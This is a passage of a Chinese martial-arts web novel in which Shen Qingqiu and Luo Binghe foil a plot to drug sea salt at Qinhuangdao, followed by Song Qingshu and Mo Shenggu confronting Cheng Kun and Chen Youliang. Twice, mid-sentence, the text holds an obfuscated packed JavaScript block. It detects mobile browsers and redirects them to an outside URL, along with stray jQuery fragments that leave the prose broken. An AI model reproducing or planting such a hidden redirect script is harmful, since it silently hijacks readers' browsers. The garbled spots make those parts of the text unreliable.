洛冰河想起师尊现在对他是事事言明,心头不禁涌上一股甜情蜜意。 莫声谷惊讶:“沈先生认识?” “略有耳闻。”沈清秋道,“听闻他掌法如海潮汹涌,一浪强过一浪,在大都罕逢敌手。” 洛冰河忽然插话:“师尊,禁书有提示。” 沈清秋闭目片刻,道:“任务更新:保护海岳及其家人,查明‘海雾’真相。” “‘海雾’?”宋青书疑惑。 沈清秋摇头:“系统提示模糊,只说到秦皇岛后自会知晓。” 莫声谷脸色凝重:“海兄有危险?那我们需加快行程!” 五日后,四人抵达秦皇岛。时值深秋,海风凛冽,空气中弥漫着咸腥气息。港口帆樯林立,渔舟往来,虽处乱世,此地因偏居一隅,反显几分安宁。 海岳的“碣石武馆”位于城东,背山面海,规模不小。莫声谷上前叩门,片刻后,一个十五六岁的少年开门,见到莫声谷,惊喜道:“莫叔叔!您怎么来了?” “小涛,你父亲在吗?”莫声谷拍拍少年肩膀。 “在!在!爹,莫叔叔来了!”少年朝院内喊。 一个中年汉子快步走出,约莫四十多岁,身材魁梧,面膛紫红,正是海岳。他见到莫声谷,大喜过望:“莫七弟!什么风把你吹来了!” 二人把臂相视,均是感慨。海岳注意到沈清秋三人,莫声谷介绍道:“这两位是沈先生和洛少侠,路上多亏他们照应。这位是宋师侄,宋青书。” 海岳抱拳:“多谢诸位照应莫七弟。快请进!” 武馆内陈设简朴,却处处透着练武之人的刚劲。正厅悬着“武德”二字匾额,笔力雄浑。众人落座,海岳吩咐上茶,这才问道:“莫七弟,你们此行是...” 莫声谷简略说了万安寺之事及疗伤之由。海岳听后怒道:“汝阳王府欺人太甚!六大派乃武林支柱,他们竟敢如此!”又关切道,“青书贤侄伤情如何?我认识几位本地良医,可请来诊治。” 宋青书忙道:“多谢海前辈,有沈先生在,伤势已好转许多。” 海岳看向沈清秋:“沈先生是郎中?” “略通医术。”沈清秋谦道,“倒是海馆主,近日可遇到什么麻烦?” 海岳一怔,随即苦笑:“沈先生好眼力。不瞒诸位,确有些麻烦事。”他屏退左右,压低声音,“近来沿海一带,常有渔船失踪。起初以为是风浪所致,但失踪者中,有几位是老船工,熟知海况,不该轻易出事。” 莫声谷皱眉:“可报官了?” “报了,官府派人查了几日,说是海匪所为,抓了几个替死鬼了事。”海岳摇头,“但我暗中查访,发现事有蹊跷。失踪者多在月圆之夜出海,且都是往一个方向——碣石山东面的‘雾隐湾’。” “雾隐湾?”宋青书问。 “那是一处险湾,三面环山,常年有雾,船只易迷航。”海岳道,“本地渔民轻易不去。但近来有人传言,湾中有‘仙岛’,上有长生不老药。我怀疑,是有人散布谣言,诱人前往。” 沈清秋若有所思:“海馆主可曾亲自查探?” 海岳苦笑:“去了两次,第一次无功而返;第二次遇到怪事。”他神色凝重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109875|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那日我与两名弟子乘船入湾,浓雾中忽闻歌声,缥缈凄厉,不似人声。接着船底似被什么东西撞击,险些翻覆。我们急忙退出,再回头看,雾中似有巨大黑影...” 莫声谷神色肃然:“海怪?” “说不清。”海岳摇头,“更怪的是,回来后,两名弟子接连病倒,高烧不退,胡言乱语,都说梦见海中有人唤他们回去。” 沈清秋与洛冰河对视一眼。禁书像系统的提示音在沈清秋脑中响起:“触发任务线索:‘雾隐湾的歌声’。奖励:避水珠×1” “海馆主,令徒现在如何?”沈清秋问。 “服药后好些了,但精神仍萎靡。”海岳叹道,“我本想再探,但内子劝阻,说我是一家之主,不可轻易涉险。” 正说着,一个妇人端着茶点进来,约莫三十余岁,眉目温婉,是海岳的妻子林氏。她向众人见礼后,轻声道:“夫君,小涛又去海边了。” 海岳皱眉:“这孩子!说过多少次,近日不可独自去海边!” 林氏苦笑:“劝不住,他说要查清渔船失踪的真相。” 宋青书起身:“我去寻他回来。” 海涛正在海边礁石上,望着茫茫大海出神。宋青书找到他时,见他手中拿着个罗盘,对着海图比划。 “海兄弟在看什么?”宋青书问。 海涛抬头,见是宋青书,眼睛一亮:“宋大哥!我在研究潮汐和海流。你看,”他指着海图,“这些失踪的渔船,虽然出海时间不同,但根据潮汐推算,他们到达雾隐湾的时间,都在子时前后。” 宋青书细看海图,果然标记着一些时间点。“你怀疑是人为设计?” 海涛点头:“我爹说是海怪,我不信。定是有人装神弄鬼!”他压低声音,“宋大哥,我听说,雾隐湾里藏着前朝宝藏,是当年蒙古攻宋时,一批宋室遗老埋藏的。那些失踪的人,可能是被灭口了。” 宋青书心中一动:“这消息从何而来?” “海边酒馆里听几个外乡人说的。”海涛道,“他们还说什么‘月圆之夜,潮起之时,石门自开’。” 二人正说着,忽见海面驶来一艘大船,形制古怪,不似渔船,也不似商船。船身漆黑,帆是暗红色,桅杆上挂着一面三角旗,绣着狰狞的骷髅图案。 “海盗船?”宋青书警觉。 海涛却摇头:“不像...这船吃水深,应是载着重物。而且你看船速,很快,操船的是高手。” 大船在离岸一里处停下,放下小艇,数人划向岸边。宋青书拉海涛躲到礁石后,暗中观察。 小艇靠岸,下来五人,皆着黑衣,蒙面。为首的是个矮壮汉子,左右四顾后,用生硬的汉语道:“就是这里。子时三刻,会有人来接货。” 另一人道:“这次货多,要加价。” “主上说了,事成之后,加倍。”矮壮汉子道,“但若再有纰漏,你们知道后果。” 五人低声商议片刻,又上艇离去。宋青书记下他们对话,心中疑云重重。待大船驶远,才与海涛返回武馆。 将所见所闻告知众人后,海岳脸色铁青:“果然有人搞鬼!什么海怪,分明是装神弄鬼,行龌龊之事!” 沈清秋沉吟:“他们说的‘货’,恐怕就是那些失踪的渔民。但掳人做什么?若是为奴,不必如此大费周章。” 宋青书忽然道:“沈前辈,我想起一事。在大都时,曾听番僧提及,东海有岛,岛上产一种‘迷魂草’,可制控人心智之药。但采此草需以活人鲜血灌溉...” 众人皆惊。莫声谷怒道:“竟有如此歹毒之事!” 海岳拍案而起:“今夜我就带人去雾隐湾,查个水落石出!” “不可。”沈清秋道,“敌暗我明,贸然前去恐中埋伏。不如将计就计。” “沈先生的意思是?” 沈清秋看向海涛:“他们既在寻人‘接货’,我们便送他们一‘货’。” 57. 穿书误作谪仙官4 三日后,月圆之夜。雾隐湾外,一艘渔船悄然驶入浓雾。 船上只有两人:扮作渔民的洛冰河,以及藏在舱中的沈清秋。按照计划,他们假装迷航的渔船,引对方上钩。 海岳、莫声谷、宋青书等人则乘另一艘船,在外围接应。海涛本欲同去,被严令留在武馆。 浓雾如幕,能见度不足三丈。洛冰河缓缓划桨,警惕四周。沈清秋在舱中打坐,折扇横于膝上。 约莫一炷香后,雾中忽然传来缥缈歌声,凄厉婉转,确非人声。洛冰河凝神细听,低声道:“师尊,是哨音,混着某种乐器。” 沈清秋点头:“果然是人装神弄鬼。” 歌声渐近,雾中隐约现出一艘船的轮廓。那船形制古怪,船头雕成恶鬼模样,船身涂着磷光涂料,在雾中幽幽发亮。 船上站着数人,皆着白衣,披头散发,在雾中看去,真如鬼魅。为首一人用古怪的腔调道:“迷途之人,可是来寻仙岛?” 洛冰河装作惊恐状:“你...你们是人是鬼?” “我等乃海神使者,接引有缘人往仙岛。”那人道,“你可愿随我们前往,得长生不老药?” 洛冰河犹豫道:“我...我只想回家...” “既入此湾,便是缘分。”那人一挥手,船上抛出钩索,搭住渔船,“随我们来。” 两船并靠,几个“海神使者”跳上渔船。洛冰河数了数,共六人,脚步沉稳,皆是练家子。 渔船被拖着往湾深处去。约莫行了半个时辰,雾气稍散,眼前出现一座小岛。岛上树木葱茏,隐约可见建筑轮廓。 靠岸后,洛冰河被“请”下船。沈清秋早已施展轻功,悄然上岛,隐于暗处。 岛上戒备森严,明哨暗桩不少。洛冰河被带往岛中心一处山洞,洞口有铁门把守。进门后,是一条向下延伸的甬道,两侧点着油灯,空气中弥漫着刺鼻的药味。 甬道尽头是个巨大的洞窟,洞内景象令洛冰河心中一沉:数十个铁笼关着衣衫褴褛的人,有男有女,皆目光呆滞,似是神智不清。洞窟一角摆着药炉、刀具等物,几个黑衣人正在忙碌。 “又送来一个。”带洛冰河来的白衣人扯去伪装,露出本来面目,是个脸色苍白的汉子,“关到丙字号笼。” 洛冰河顺从地被关入铁笼。笼中已有三人,两男一女,都是渔民打扮,蜷缩在角落,对洛冰河的到来毫无反应。 “他们怎么了?”洛冰河低声问。 其中一个年轻男子缓缓抬头,眼神涣散:“药...他们给我们吃药...吃了就做噩梦...梦里有人命令我们...” 正说着,两个黑衣人走过来,打开笼门,拽出一名老者。老者也不反抗,任由他们拖到药炉旁。黑衣人给他灌下一碗药,片刻后,老者眼神变得狂乱,手舞足蹈,口中念念有词。 一个黑衣首领模样的人观察片刻,摇头:“这个不行,心神已崩溃。处理掉。” 老者被拖出洞窟,不久传来落水声。洛冰河握紧拳头,强忍杀意。 这时,沈清秋的声音在他耳边响起,是传音入密:“冰河,我已查明。他们在试验一种迷魂药物,想控制人心智。岛上共有守卫三十七人,关押渔民四十二人。洞窟深处还有密室,应是主事者所在。” 洛冰河微微点头。 “子时三刻,他们会有一批‘货’送到。届时守卫换班,是救人最佳时机。我已通知海馆主他们在外接应。” 洛冰河以极轻微的动作表示明白。 时间慢慢流逝。子时将至,洞外传来喧哗,似是又有船只靠岸。黑衣首领带部分人出去接应,洞中守卫减少。 沈清秋悄然现身,折扇轻点,几个守卫无声倒地。他打开铁笼,低声道:“能走的跟着我,不能走的稍候。” 洛冰河扶起笼中三人,又去开其他笼子。部分渔民尚有神智,闻言挣扎起身;有些已神志不清,茫然不动。 “先救能走的。”沈清秋道,“冰河,你带人从东侧小径去海滩,那里有艘船。我断后。” “师尊小心。” 洛冰河带着十余人悄悄出洞。刚出洞口,却见一队黑衣人迎面而来!双方撞个正着! “有人逃跑!”黑衣人惊呼,拔刀冲来。 洛冰河将渔民护在身后,长剑出鞘,剑光如雪。这些黑衣人武功不弱,但在他剑下,竟无一合之敌。瞬间倒下一片。 打斗声惊动了全岛。警钟大作,更多守卫涌来。洛冰河边战边退,护着渔民往东侧移动。 此时,海岳、莫声谷、宋青书等人已按计划从海滩攻入。莫声谷虽伤势未愈,但太极拳施展开来,仍威力惊人。海岳掌法如潮,每一掌都带着风雷之势。宋青书剑法精妙,专攻敌人破绽。 三方汇合,救出大部分渔民。沈清秋从洞窟深处出来,手中拿着几本账册和药方:“找到证据了。主持此事的是汝阳王府的人,他们在试验控制人心的药物,想用在武林人士身上。” 海岳怒道:“好个汝阳王府!害我乡民,天理难容!” “先离开此地。”沈清秋道,“岛上还有炸药,他们若狗急跳墙,恐会引爆。” 众人护着渔民往海滩撤退。刚到海滩,却见那艘黑色大船已堵住去路,船上站满弓箭手。一个锦衣中年人站在船头,正是岛上主事者。 “海馆主,沈先生,久仰大名。”锦衣人拱手,语气阴冷,“在下汝阳王府客卿,司马青。诸位既然来了,不如留下做客。” 海岳冷笑:“司马青?没听说过。识相的快让开,否则别怪海某掌下无情!” 司马青不怒反笑:“海馆主豪气。不过,”他一挥手,“看看这是谁?” 两个黑衣人押着一人上船头,竟是海涛! “涛儿!”海岳目眦欲裂,“你...你怎会...” 海涛被堵着嘴,眼中含泪,连连摇头。 司马青得意道:“这位小兄弟想独自查案,被我手下‘请’来了。海馆主,若想令郎平安,就请沈先生交出账册药方,然后自缚双手。” 海岳浑身颤抖,显然内心激烈挣扎。莫声谷低声道:“海兄,不可...” “我交!”海岳咬牙,“但你需先放了我儿!” 司马青摇头:“海馆主,你没资格谈条件。”他使个眼色,黑衣人将刀架在海涛颈上。 千钧一发之际,沈清秋忽然道:“司马先生,你确定那真是海涛?” 司马青一怔。沈清秋折扇轻摇:“冰河。” 押着“海涛”的黑衣人忽然出手,将另一黑衣人击倒,同时扯去脸上伪装——竟是洛冰河假扮!而真正的海涛,从船尾悄然现身,手中拿着火折子,已点燃了船帆! “调包计!”司马青惊怒,“何时...” “上岛之时。”沈清秋淡淡道,“你自以为掌控全局,却不知螳螂捕蝉,黄雀在后。” 大火迅速蔓延。司马青慌忙下令救火,船上乱作一团。海岳等人趁机带渔民上船,驶离海岛。 回望雾隐湾,岛上火光冲天,爆炸声连连。司马青的大船也陷入火海,渐渐沉没。 海滩上,海涛扑到父亲怀中,泪流满面:“爹,我错了,我不该擅自行动...” 海岳紧紧抱住儿子:“没事就好,没事就好...” 回到武馆,安顿好获救渔民,已是黎明。众人虽疲惫,却无睡意,聚在厅中商议。 沈清秋将账册药方摊开:“这些证据足以证明汝阳王府的阴谋。他们不仅在试验迷魂药,还在沿海一带秘密收购海盐、药材,囤积物资。” 莫声谷翻阅账册,眉头紧锁:“采购量如此之大,足够万人用度。他们想做什么?” “恐怕不只是对付武林人士。”宋青书道,“我在大都时曾听父亲说,汝阳王府一直想在北方建立自己的势力,以待朝廷崩溃后割据一方。” 海岳一拳砸在桌上:“这些蒙古鞑子,害我百姓还不够,还想裂土封王!” 沈清秋却道:“事情恐不止于此。”他指着账册中几处标记,“你们看,这些采购并非通过正常渠道,而是通过一个叫‘四海商会’的组织。” “四海商会?”海岳思索,“我听说过,是近年来兴起的大商帮,生意遍及南北,会长神秘,无人见过真面目。” 洛冰河忽然道:“师尊,有新提示。” 沈清秋闭目片刻,睁开眼时神色凝重:“禁书任务更新:查明四海商会真实目的,阻止‘海盐计划’。任务提示:盐乃民生命脉,亦可是致命毒药。” “‘海盐计划’?”众人不解。 沈清秋解释:“提示模糊,但结合这些账册,我怀疑汝阳王府通过四海商会大量收购海盐,并非为囤积,而是...要在盐中做手脚。” 莫声谷倒吸一口凉气:“若在食盐中下毒,或掺入迷魂药...那可是万千百姓遭殃!” 海岳脸色发白:“秦皇岛是北方重要盐场之一,若他们在此下手...” “必须查清四海商会在本地的据点。”宋青书道。 海涛忽然插话:“爹,我知道!城西新开了家‘四海货栈’,掌柜的是个外乡人,神神秘秘的。” 事不宜迟,众人决定分头调查。沈清秋与洛冰河去四海货栈,海岳与莫声谷联络本地盐商,宋青书则带着海涛走访渔民,了解近期盐市异常。 四海货栈位于城西码头,店面不小,堆满各色货物。沈清秋扮作采购药材的客商,洛冰河随行护卫。 掌柜的是个精瘦中年人,姓贾,眼珠灵活,一看就是精明商人。见沈清秋气质不凡,热情招待。 “先生要采购药材?我们这应有尽有,人参、鹿茸、灵芝,都是上等货。” 沈清秋摇扇道:“我要的量大,且要长期供应。不知贵号可有此能力?” 贾掌柜眼睛一亮:“先生放心,我们四海商会生意遍天下,多少货都供得起。不知先生要哪些药材?作何用途?” “主要是曼陀罗、乌头、断肠草等。”沈清秋淡淡说。 贾掌柜脸色微变:“这些...可都是毒草。先生要这些做什么?” “制药。”沈清秋面不改色,“家传秘方,需以毒攻毒。怎么,贵号没有?” 贾掌柜犹豫片刻,压低声音:“有是有,但量不大。若先生真要,可去城南仓库提货。不过...”他凑近些,“这些药材官府管制,需加三成价。” “钱不是问题。”沈清秋递过一张银票,“我先订一百斤,三日后提货。” “一百斤!”贾掌柜惊道,“先生,这么多毒草,您...” “怎么,不做生意?” “做!做!”贾掌柜忙接过银票,“三日后,城南仓库,凭此票提货。” 离开货栈,洛冰河低声道:“师尊,真要买那些毒草?” 沈清秋摇头:“引蛇出洞。一百斤毒草,他们必会从秘密仓库调货。我们跟踪送货之人,便能找到他们的藏货点。” 另一边,海岳与莫声谷拜访本地几位大盐商。盐商们起初闪烁其词,在海岳再三保证下,才透露实情:近半年,四海商会以高出市价两成的价格,收购了大量海盐。起初盐商们乐见其成,但后来发现,这些盐并未运往外地,而是囤积在本地几个仓库中。 “更怪的是,”一位老盐商道,“他们只要粗盐,不要精盐。而且要求盐中需含特定比例的杂质,说是...做腌制用。可哪有用这么多盐腌东西的?” 莫声谷疑道:“含杂质的粗盐...难道他们要在杂质中掺入别的东西?” 海岳面色凝重:“很可能。粗盐杂质多,掺入毒药或迷药不易被发现。” 宋青书与海涛的走访也有收获。渔民反映,近来常有陌生船只夜间出海,不捕鱼,不知做什么。有人曾捡到从那些船上飘落的麻袋,里面是白色粉末,尝之咸涩,似是盐,却又带苦味。 “苦味?”宋青书警觉,“可还有样品?” 渔民摇头:“早扔了。不过那些人常去‘鬼愁湾’,那里暗礁多,我们不去。” “鬼愁湾...”海涛道,“那是片险滩,船易触礁。他们去那里做什么?” 三路信息汇总,指向明确:四海商会以鬼愁湾为基地,在粗盐中掺入药物,图谋不轨。 当夜,沈清秋、洛冰河、宋青书三人潜入鬼愁湾。月黑风高,海浪拍岸,涛声如雷。湾内果然停着两艘船,船上人影绰绰,正在搬运麻袋。 三人潜到近处,见麻袋从船上卸下,运往岸边一处隐蔽山洞。洞口有守卫,戒备森严。 沈清秋示意洛冰河制住守卫。洛冰河身如鬼魅,瞬间点倒四人,未发出半点声响。三人潜入山洞。 洞内空间巨大,堆满麻袋,足有数千包。几个工匠模样的人正在操作,将麻袋中的粗盐倒入大池,加入某种粉末搅拌,然后重新装袋。 沈清秋悄然取了些粉末,嗅了嗅,脸色微变:“是迷魂草药粉,与雾隐湾发现的相同。他们果然在盐中掺药。” 宋青书怒道:“这些贼子!若让这些盐流入市面,不知多少人受害!” “必须销毁。”洛冰河道。 沈清秋却摇头:“打草惊蛇。需擒住主谋,一网打尽。” 正说着,洞外传来人声。三人忙躲到麻袋后。只见贾掌柜陪着一个锦衣人进来,正是那日雾隐湾的司马青! “司马先生放心,这批货明日就可发出。”贾掌柜谄媚道,“按您的吩咐,送往大都、保定、济南等十二个府城。” 司马青点头:“主上大计,在此一举。只要控制这些要地的食盐供应,便能不战而屈人之兵。到时北地尽在掌握,何愁大事不成?” 贾掌柜迟疑:“只是...这药真能控制人心?” “当然。”司马青冷笑,“雾隐湾试验已成功。服药者初时只觉疲倦,三日后便会心神恍惚,对指令言听计从。长期服用,心智尽失,永为傀儡。” 宋青书听得毛骨悚然。这些人的阴谋,竟如此歹毒! 司马青又道:“武当那几人还在城中?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109876|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “在,在海岳的武馆。”贾掌柜道,“要不要...” “不必。”司马青摆手,“主上有令,暂不与他们冲突。待大计完成,自有办法收拾。” 二人巡视一圈,离开山洞。沈清秋三人悄然尾随,见他们上了一艘小船,往海中一艘大船划去。 “那是四海商会的货船。”洛冰河低声道。 沈清秋沉吟:“擒贼先擒王。冰河,你与宋少侠回城报信,请海馆主带人控制山洞,销毁毒盐。我去船上会会司马青。” “师尊,太危险。”洛冰河反对,“我陪您去。” “这是命令。”沈清秋难得严肃,“你们速去速回,我自有分寸。” 洛冰河虽不情愿,但不敢违逆师命,只得与宋青书返回。沈清秋则施展轻功,如海鸥掠波,悄然落在大船甲板上。 船上守卫不多,沈清秋轻易避开,找到主舱。舱内,司马青正与贾掌柜议事。 “...大都那边已准备妥当,只等这批盐到,便可开始行动。”司马青道,“海岳那边,多派些人监视,但别惊动。” 贾掌柜应声,忽道:“司马先生,那沈清秋来历不明,武功又高,会不会...” “沈清秋...”司马青眯起眼,“此人确实神秘。我已飞鸽传书大都,查他底细。在此之前,莫要招惹。” 沈清秋在窗外听得真切,心知不能再等。他正欲出手,忽觉背后风声,急闪身避过,一道刀光擦肩而过! “有刺客!”船上警铃大作。 沈清秋回身,见是四个黑衣刀客,刀法凌厉,合围而上。他折扇展开,以一敌四,竟不落下风。 打斗声惊动舱内,司马青冲出,见是沈清秋,脸色一变:“沈先生夜访,有何贵干?” 沈清秋一扇点倒一名刀客,淡淡道:“特来请司马先生上岸一叙。” 司马青冷笑:“那要看沈先生有无这个本事!”他一挥手,又涌出十余名护卫,将沈清秋团团围住。 沈清秋神色不变,折扇轻摇:“司马先生以为人多便能胜?” “试试便知!” 众护卫一拥而上。沈清秋身法如幻,在刀光剑影中穿梭,折扇每出必中,片刻间已倒下半数。司马青见势不妙,欲跳海逃生,沈清秋早防着他,扇中飞出一枚银针,正中他腿弯穴道。司马青惨叫倒地。 此时,海面上火光点点,数艘船只驶来,是海岳带人赶到。船上护卫见大势已去,纷纷投降。 四海商会的阴谋被彻底粉碎。山洞中毒盐全部销毁,商会在本地的据点被捣毁,抓获涉案人员三十余名,缴获大批罪证。 海岳以本地乡绅身份联络官府,将司马青等人移送法办。虽然乱世中法纪松弛,但如此大案,官府也不敢怠慢,承诺严惩。 武馆内,众人庆祝胜利,却也心情沉重。若非及时发现,不知多少百姓将受害。 “经此一事,四海商会短期内不敢再犯。”莫声谷道,“但汝阳王府贼心不死,恐还有后招。” 海岳点头:“我已联络沿海各派,加强戒备。食盐之事关乎民生,绝不容有失。” 宋青书看向沈清秋:“此次多亏沈先生运筹帷幄。” 沈清秋摇扇:“非我一人之功。”他望向窗外大海,“乱世之中,百姓已苦,还有人为一己之私,行此歹毒之事。可叹。” 洛冰河默默为他斟茶。师徒二人目光相接,默契无言。 三日后,宋青书、莫声谷二人在外盘恒多日,他们觉得是时候该回武当了。 临别前夜,海岳设宴饯行。席间,他郑重对沈清秋道:“沈先生,大恩不言谢。日后若有需要,海某赴汤蹈火,在所不辞。” 沈清秋举杯:“海馆主言重。保境安民,本是我辈应为。” 海涛敬宋青书:“宋大哥,多谢你一路指点。他日我定去武当拜访。” 宋青书微笑:“随时欢迎。” 宴毕,沈清秋与洛冰河在院中赏月。海风轻柔,月华如练。 “师尊,系统任务完成了吧?”洛冰河问。 沈清秋点头:“完成了。奖励是...”他取出两枚晶莹的珠子,“避水珠。倒是应景。” 这应该就是有灵力之物。 洛冰河接过一枚,珠子触手温润,隐隐有光华流转。“师尊接下来有何打算?” 沈清秋望向远方:“当然是回去。不过...”他顿了顿,“你可想在此多留几日?”其实禁书的意思是要他们赶快回去,这个世界有人渡劫。不过料想在此处多留几日并不要紧。 洛冰河一怔,随即明白师尊是顾及自己感受,心中一暖:“师尊决定便好。冰河随行。” 沈清秋微微一笑,拍拍他肩膀:“那便再留三日。你也该多看看这世间。” 次日,莫声谷与宋青书启程回武当。海岳父子送至十里长亭,依依惜别。 “青书,一路保重。”海岳殷殷嘱咐,“代我向宋大侠、张真人问好。” 宋青书行礼:“晚辈铭记。海前辈,小涛兄弟,后会有期。” 莫声谷抱拳:“海兄,保重!” 沈清秋从怀里掏出一本册子,递给宋青书。“自己慢慢悟吧。” “青书多谢沈前辈赠宝册。” 马车远去,消失在官道尽头。海岳目送良久,才与儿子返回。 三日后,沈清秋与洛冰河也告辞离去。海岳本想挽留,但见二人去意已决,只得赠以盘缠、干粮,亲自送到海边。 “沈先生,洛少侠,江湖路远,珍重。” 沈清秋拱手:“海馆主亦保重。令郎天资聪颖,若得良师,必成大器。” 海岳苦笑:“这小子心野,总想闯荡江湖。我还想多留他几年。” 沈清秋从怀中取出一本册子:“这是我对武学的一些浅见,赠予令郎。或许有用。”海岳接过,翻阅几页,大惊失色:“这...这是内功心法要诀!沈先生,这太贵重...” “身外之物罢了。”沈清秋淡然道,“有缘相逢,聊表心意。” 说罢,与洛冰河登上一叶扁舟。洛冰河划桨,小舟破浪而去,渐行渐远。 海岳站在岸边,直到小舟消失在海天之际,才长叹一声,携子归去。 舟中,洛冰河划着桨,忽然问:“师尊,那本册子...” “是我整理的一些武学心得。”沈清秋望着海天一色,“海涛那孩子心性纯良,资质上佳,不该埋没于此。留些东西,也算结个善缘。” 洛冰河沉默片刻:“师尊待他人总是很好。” 沈清秋转头看他,眼中含笑:“吃醋了?” 洛冰河耳根微红,低头划桨:“没有。”“其实我说的是你送给宋青书的那本册子是什么?” 沈清秋轻笑,“关于道家结印的一些基础方法”。宋青书也许看不懂,但是他太师父张三丰总能够看懂吧? 师徒二人沐浴着海风阳光,舟行海上,仿佛融入了这片蔚蓝。 而新的旅途,正在脚下展开。 58. 蒙冤已白夜阑珊 山林间的风带着初秋的凉意,吹动宋青书单薄的衣衫。他坐在一块青石上,闭目凝神,感受着体内那股微弱却真实存在的念力缓缓流转。 “青书,准备走了。”莫声谷的声音从身后传来,沉稳有力。 宋青书睁开眼,看见他的七叔正将水囊系回腰间。 莫声谷一身青布劲装,腰悬长剑,四十出头的年纪正是武功鼎盛之时,剑眉星目间自有一股凛然正气。此刻他脸上带着淡淡欣慰:“看你面色恢复得不错,沈道友确实是世外高人,你那念力可能是比念力要高一级的存在。” “多谢七叔这些时日的护持与指点。”宋青书起身行礼,心中五味杂陈。前世,正是这位七叔,被他与陈友谅合谋害死在荒郊野外。那一剑穿胸而过的画面,至今仍在梦中反复出现,每一次都让他冷汗涔涔地惊醒。 莫声谷摆摆手,目光望向武当山的方向:“一家人不说两家话。”他顿了顿,看着宋青书,“大哥和师父都在等着我们回去。” “也该传一个信回去,好让他们知道我们是安全的。” 宋青书低下头称是。 二人收拾行装,沿着山间小道向东而行。宋青书虽然没有武功,但还是有念力加持,只是速度不快。莫声谷也不催促,只是偶尔放缓脚步等他。 行至午时,来到一处山谷。谷中溪水潺潺,两岸枫叶初红,景色宜人。莫声谷选了块平整的石头坐下:“在此歇息片刻,用过干粮再走。” 宋青书依言坐下,取出干粮默默吃着。他的目光不由自主地落在莫声谷身上——七叔吃东西很快,却并不粗鲁,一边吃一边警惕地观察四周。这是行走江湖多年的习惯。 “七叔,”宋青书忽然开口,“若有一日,我做了不可饶恕的错事,您会原谅我吗?” 莫声谷动作一顿,看向他,眼中闪过一丝疑惑:“为何突然问这个?” “只是……只是这些时日浑浑噩噩,做了许多怪梦。”宋青书苦笑道,“梦中我做了许多错事,伤害了至亲之人,醒来时总是惶恐不安。” 莫声谷沉默片刻,缓缓道:“人非圣贤,孰能无过。武当门规虽严,却也讲究悔过自新。只要真心悔改,愿意承担罪责,总有回头之路。”他目光如炬,“但若是明知故犯,一错再错,那便是自绝于天地,谁也救不了。” 这话说得严厉,宋青书却听得心中稍安。是啊,他还有机会,这一世,他绝不会重蹈覆辙。 就在此时,莫声谷忽然神色一凛,右手按上剑柄:“什么人?出来!” 宋青书心中一惊,顺着莫声谷的目光望去,只见前方树林中缓步走出两人。当先一人约莫五十余岁,身形瘦高,面容阴鸷,着一袭灰色僧袍,却无半分出家人的慈悲之相,眼中精光闪烁,正是混元霹雳手成昆。 另一人稍年轻些,三四十岁模样,面白无须,一副书生打扮,脸上带着似笑非笑的神情,正是丐帮八袋长老陈友谅。 宋青书的呼吸几乎停滞。前世种种瞬间涌上心头——就是这两个人,一个是他搅动江湖起风波的罪魁,一个是他前世的盟友,联手将他拖入万劫不复的深渊。而今生,他们竟在此刻出现! “阿弥陀佛,”成昆双手合十,语气却冰冷如霜,“莫七侠,宋少侠,别来无恙。” 莫声谷缓缓起身,将宋青书护在身后,沉声道:“成昆大师,陈长老,二位拦路在此,不知有何见教?” 陈友谅轻笑一声:“莫七侠何必明知故问?史火龙帮主在你们武当派的‘帮助’下,如今已经安然返回丐帮总舵,揭穿了我们为丐帮清除叛徒、整顿帮务的一片苦心。二位坏了我们的大事,总该给个说法吧?” 宋青书心中雪亮。前世的记忆和书本的剧情告诉他,成昆与陈友谅暗中勾结,先是暗害了真正的丐帮帮主史火龙,又找了个替身企图掌控丐帮,进而图谋武林。他与莫声谷无意中救出被困的史火龙,自然成了他们的眼中钉。 莫声谷冷笑:“清除叛徒?整顿帮务?我看是某些人想鸠占鹊巢,图谋不轨吧!史帮主已将你们的阴谋全盘托出,如今丐帮上下正在全力缉拿你们这些奸贼。我劝你们还是快快束手就擒,或许还能从轻处理。” “束手就擒?”成昆眼中闪过一丝厉色,“那要看莫七侠有没有这个本事让我们束手就擒了!” 话音未落,成昆身形一晃,已如鬼魅般欺近,右手五指成爪,直取莫声谷咽喉。这一爪迅若闪电,指尖隐隐有黑气缭绕,正是他的成名绝技——幻阴指! 莫声谷早有防备,长剑不知何时已然出鞘,剑尖颤动,化作三点寒星,分袭成昆手腕、肘关节与肩井穴。这一招“三星伴月”是武当剑法中的精妙招数,守中带攻,既化解了成昆的攻势,又反制其要害。 成昆“咦”了一声,显然没料到莫声谷剑法如此精妙,攻势一缓,变爪为掌,掌缘如刀,斜劈剑身。只听“铛”的一声脆响,剑掌相交,两人各退半步。 “好一个武当七侠,果然名不虚传。”成昆阴森森地说道,眼中却战意更盛。 莫声谷面色凝重,握剑的手微微发麻。成昆的混元功已臻化境,方才那一掌看似简单,实则蕴含着至阴至寒的内力,若非他早有防备,以武当纯阳内力相抗,恐怕已吃了暗亏。 “青书,退后!”莫声谷低喝一声,长剑再度递出,这一次剑光如瀑,将成昆全身笼罩其中。 宋青书依言后退数步,心中焦急万分。他看得分明,莫声谷剑法虽精,内力也深厚,但成昆的幻阴指诡异狠辣,混元功更是阴毒无比,两人交手不过十余招,莫声谷已渐渐落入守势。 更可怕的是,陈友谅还在一旁虎视眈眈! 